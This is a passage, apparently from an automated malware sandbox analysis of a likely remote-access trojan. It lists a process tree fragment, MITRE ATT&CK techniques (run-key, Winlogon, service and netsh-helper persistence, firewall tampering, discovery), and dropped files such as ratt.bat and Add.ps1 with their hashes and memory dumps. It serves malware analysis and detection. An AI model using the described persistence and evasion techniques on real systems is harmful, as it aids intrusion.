        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
43d77b69fda94931904d5652ffad3a8a

SHA1
258d1c37b8189e81b24b9c5ec62f612d265be59f

SHA256
0287bdc50148224c4c3a89d33b53b38cba6de7de68a023af91cb3f0025951218

SHA512
d47530d0363c7fe455da0842fdea4780880513b0d0054399e629b302cbb19d52a08d7dee043578b8cae600a29febffeb5a67464b8e979b455f69bded061c636c

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
memory/720-80-0x0000000000440000-0x0000000000486000-memory.dmp

Filesize
280KB

Download
memory/720-78-0x0000000000880000-0x0000000000A36000-memory.dmp

Filesize
1.7MB

Download
memory/1288-90-0x0000000000740000-0x0000000000746000-memory.dmp

Filesize
24KB

Download
memory/1288-89-0x0000000004170000-0x000000000418A000-memory.dmp

Filesize
104KB

Download
memory/1288-88-0x00000000002D0000-0x0000000000486000-memory.dmp

Filesize
1.7MB

Download
memory/1636-79-0x0000000000580000-0x00000000005C6000-memory.dmp

Filesize
280KB

Download
memory/1636-75-0x00000000011F0000-0x00000000013A6000-memory.dmp

Filesize
1.7MB

Download
memory/2788-97-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-92-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-93-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-95-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-99-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2788-100-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-102-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-101-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2928-51-0x00000000001B0000-0x00000000001E2000-memory.dmp

Filesize
200KB

Download
memory/3004-56-0x0000000010000000-0x00000000100E2000-memory.dmp

Filesize
904KB

Download
memory/3004-58-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/3004-53-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/3004-62-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download